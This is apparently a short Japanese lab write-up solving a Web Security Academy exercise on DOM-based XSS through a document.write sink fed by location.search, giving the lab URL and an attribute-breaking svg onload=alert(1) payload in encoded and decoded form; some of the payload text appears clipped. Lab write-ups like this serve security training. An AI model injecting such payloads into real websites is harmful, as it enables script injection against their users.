('ω')ノソースlocation.searchを使用したdocument.writeシンクのDOMXSSを。ちなみにURLは以下のようになって。https://ac241ff41e83c874803c0bcb00a70097.web-security-academy.net/?search=testレスポンスボディを見るとスクリプトを介していることがわかって。src="~を閉じてスクリプトを実行することに。onload=alert(1)>実行時のURLは、以下のとおりで。https://ac241ff41e83c874803c0bcb00a70097.web-security-academy.net/?search=%22%3E%3Csvg+onload%3Dalert%281%29%3Eデコードした結果は、以下のとおりで。onload=alert(1)>クリアできた。DOMベースのCookie操作を。(3)引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。